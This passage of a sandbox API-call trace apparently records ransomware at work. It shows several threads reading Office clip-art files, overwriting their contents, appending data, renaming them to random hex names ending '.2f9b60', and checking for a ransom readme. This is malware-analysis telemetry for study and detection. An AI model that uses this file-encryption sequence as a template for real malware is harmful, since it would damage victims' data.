Seed=0x1df7fc30) returned 0x47c17098 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x4a2f0e06 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x8633f02 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x1f3a39e3 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x26f3850b [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x7a6c549a [0099.877] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x5132a486 [0099.877] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x58b641d [0100.757] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.757] ReadFile (in: hFile=0x158c, lpBuffer=0x1cea0e60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1df7fca0, lpOverlapped=0x0 | out: lpBuffer=0x1cea0e60*, lpNumberOfBytesRead=0x1df7fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.611] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0101.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0101.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8340) returned 1 [0101.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20442eb0 [0101.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0101.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0101.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8400) returned 1 [0101.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0101.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.612] WriteFile (in: hFile=0x158c, lpBuffer=0x20442eb0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1df7fca0, lpOverlapped=0x0 | out: lpBuffer=0x20442eb0*, lpNumberOfBytesWritten=0x1df7fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20442eb0) returned 1 [0101.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea0e60) returned 1 [0101.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260fb0 [0101.973] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.974] WriteFile (in: hFile=0x158c, lpBuffer=0x4205a530*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1df7fd50, lpOverlapped=0x0 | out: lpBuffer=0x4205a530*, lpNumberOfBytesWritten=0x1df7fd50*=0x10a, lpOverlapped=0x0) returned 1 [0102.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628a0 [0102.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202628a0) returned 1 [0102.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628a0 [0102.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0102.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262870) returned 1 [0102.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.352] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="2a") returned 2 [0102.352] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="15") returned 2 [0102.352] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="fc") returned 2 [0102.352] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="22") returned 2 [0102.352] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="17") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="cc") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="d6") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="81") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="4c") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="53") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="9c") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="40") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="03") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="0d") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="2b") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="2c") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="5b") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="0c") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="18") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="b2") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="5e") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="e7") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="77") returned 2 [0102.353] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="e5") returned 2 [0102.353] RtlInitAnsiString (in: DestinationString=0x1df7fdc8, SourceString="2a15fc2217ccd6814c539c40030d2b2c5b0c18b25ee777e5" | out: DestinationString="2a15fc2217ccd6814c539c40030d2b2c5b0c18b25ee777e5") [0102.353] RtlAnsiStringToUnicodeString (in: DestinationString=0x1df7fd98, SourceString="2a15fc2217ccd6814c539c40030d2b2c5b0c18b25ee777e5", AllocateDestinationString=1 | out: DestinationString="2a15fc2217ccd6814c539c40030d2b2c5b0c18b25ee777e5") returned 0x0 [0102.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced56a0 [0102.354] wcscat (in: _Dest=0x4205d370, _Source="2a15fc2217cc" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2a15fc2217cc") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2a15fc2217cc" [0102.354] wcscat (in: _Dest=0x4205d370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2a15fc2217cc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2a15fc2217cc.2f9b60" [0102.354] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2a15fc2217cc.2f9b60", NtPathName=0x1df7fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2a15fc2217cc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cbe0 [0105.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0105.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060970) returned 1 [0105.927] NtQueryInformationFile (in: FileHandle=0x158c, IoStatusBlock=0x1df7fdd8, FileInformation=0x1df7fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1df7fdd8, FileInformation=0x1df7fde8) returned 0x0 [0105.927] NtSetInformationFile (FileHandle=0x158c, IoStatusBlock=0x1df7fdd8, FileInformation=0x1df7fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d370) returned 1 [0105.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced56a0) returned 1 [0105.954] FlushFileBuffers (hFile=0x158c) returned 1 [0105.958] CloseHandle (hObject=0x158c) returned 1 [0105.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5100 [0105.964] wcscpy (in: _Dest=0x202a5100, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.964] wcscat (in: _Dest=0x202a5100, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5100) returned 1 [0106.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dda0) returned 1 Thread: id = 743 os_tid = 0x1280 [0098.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf")) returned 0x20 [0099.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF", dwFileAttributes=0x20) returned 1 [0099.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1588 [0099.662] GetFileSizeEx (in: hFile=0x1588, lpFileSize=0x1deffd60 | out: lpFileSize=0x1deffd60*=33546) returned 1 [0099.662] SetFilePointerEx (in: hFile=0x1588, liDistanceToMove=0x8306, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.662] ReadFile (in: hFile=0x1588, lpBuffer=0x1deffce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1deffd28, lpOverlapped=0x0 | out: lpBuffer=0x1deffce0*, lpNumberOfBytesRead=0x1deffd28*=0x4, lpOverlapped=0x0) returned 1 [0099.935] SetFilePointerEx (in: hFile=0x1588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0099.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b10 [0099.935] NtQuerySystemTime (in: CurrentTime=0x1deffc20 | out: CurrentTime=0x1deffc20*=132462177054634000) returned 0x0 [0099.935] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x7446bea8 [0099.935] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x5a38b247 [0099.935] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x6e8bc30c [0099.935] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x65c1befd [0099.935] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x4eba2c91 [0099.935] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x7155cb9b [0099.935] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x7ad524e7 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x6355b77b [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x43ec7826 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x2243221f [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x4c0eea5f [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x695fb11f [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0xf3c6a8e [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x4a706e4c [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x7eb862c0 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x2e1dc4f7 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x395f8d0e [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x10fab952 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x17479991 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x796b8f30 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x4d44b5a5 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x5d036774 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x4db3e7f9 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x20712c90 [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x41e8265f [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x2338133a [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x4a0cea8b [0099.936] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x2eaef76c [0099.937] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x5dad4d0c [0099.937] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0xa72dcde [0099.937] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x17479991 [0099.937] RtlRandomEx (in: Seed=0x1deffc10 | out: Seed=0x1deffc10) returned 0x2b4cda9f [0100.759] SetFilePointerEx (in: hFile=0x1588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.760] ReadFile (in: hFile=0x1588, lpBuffer=0x2037b690, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1deffc80, lpOverlapped=0x0 | out: lpBuffer=0x2037b690*, lpNumberOfBytesRead=0x1deffc80*=0x3c00, lpOverlapped=0x0) returned 1 [0101.612] SetFilePointerEx (in: hFile=0x1588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0101.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0101.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8400) returned 1 [0101.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20446ac0 [0101.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0101.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0101.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260140) returned 1 [0101.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0101.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.614] WriteFile (in: hFile=0x1588, lpBuffer=0x20446ac0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1deffc80, lpOverlapped=0x0 | out: lpBuffer=0x20446ac0*, lpNumberOfBytesWritten=0x1deffc80*=0x3c00, lpOverlapped=0x0) returned 1 [0101.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20446ac0) returned 1 [0101.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2037b690) returned 1 [0101.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261b80 [0101.976] SetFilePointerEx (in: hFile=0x1588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.976] WriteFile (in: hFile=0x1588, lpBuffer=0x4205a650*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1deffd30, lpOverlapped=0x0 | out: lpBuffer=0x4205a650*, lpNumberOfBytesWritten=0x1deffd30*=0x10a, lpOverlapped=0x0) returned 1 [0102.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0102.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0102.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0102.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262900 [0102.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262900) returned 1 [0102.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.356] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="b1") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="1f") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="88") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="45") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="23") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="35") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="6c") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="98") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="b0") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="a0") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="80") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="fb") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="1a") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="23") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="0f") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="25") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="fa") returned 2 [0102.356] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="30") returned 2 [0102.357] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="12") returned 2 [0102.357] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="b7") returned 2 [0102.357] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="cd") returned 2 [0102.357] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="f2") returned 2 [0102.357] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="54") returned 2 [0102.357] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="40") returned 2 [0102.357] RtlInitAnsiString (in: DestinationString=0x1deffda8, SourceString="b11f884523356c98b0a080fb1a230f25fa3012b7cdf25440" | out: DestinationString="b11f884523356c98b0a080fb1a230f25fa3012b7cdf25440") [0102.357] RtlAnsiStringToUnicodeString (in: DestinationString=0x1deffd78, SourceString="b11f884523356c98b0a080fb1a230f25fa3012b7cdf25440", AllocateDestinationString=1 | out: DestinationString="b11f884523356c98b0a080fb1a230f25fa3012b7cdf25440") returned 0x0 [0102.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5710 [0102.357] wcscat (in: _Dest=0x4205d410, _Source="b11f88452335" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b11f88452335") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b11f88452335" [0102.357] wcscat (in: _Dest=0x4205d410, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b11f88452335.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b11f88452335.2f9b60" [0102.357] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b11f88452335.2f9b60", NtPathName=0x1deffd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b11f88452335.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cc90 [0105.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cc90) returned 1 [0105.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060ba0) returned 1 [0105.927] NtQueryInformationFile (in: FileHandle=0x1588, IoStatusBlock=0x1deffdb8, FileInformation=0x1deffdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1deffdb8, FileInformation=0x1deffdc8) returned 0x0 [0105.928] NtSetInformationFile (FileHandle=0x1588, IoStatusBlock=0x1deffdb8, FileInformation=0x1deffdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d410) returned 1 [0105.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5710) returned 1 [0105.956] FlushFileBuffers (hFile=0x1588) returned 1 [0105.961] CloseHandle (hObject=0x1588) returned 1 [0105.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5070 [0105.965] wcscpy (in: _Dest=0x202a5070, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.965] wcscat (in: _Dest=0x202a5070, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5070) returned 1 [0106.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4de30) returned 1 Thread: id = 744 os_tid = 0x1284 [0098.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf")) returned 0x20 [0099.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF", dwFileAttributes=0x20) returned 1 [0099.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1598 [0099.672] GetFileSizeEx (in: hFile=0x1598, lpFileSize=0x1de5fe40 | out: lpFileSize=0x1de5fe40*=34570) returned 1 [0099.672] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x8706, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.673] ReadFile (in: hFile=0x1598, lpBuffer=0x1de5fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1de5fe08, lpOverlapped=0x0 | out: lpBuffer=0x1de5fdc0*, lpNumberOfBytesRead=0x1de5fe08*=0x4, lpOverlapped=0x0) returned 1 [0099.973] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ba0 [0099.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0099.974] NtQuerySystemTime (in: CurrentTime=0x1de5fd00 | out: CurrentTime=0x1de5fd00*=132462177054946000) returned 0x0 [0099.974] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x7498a08f [0099.974] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 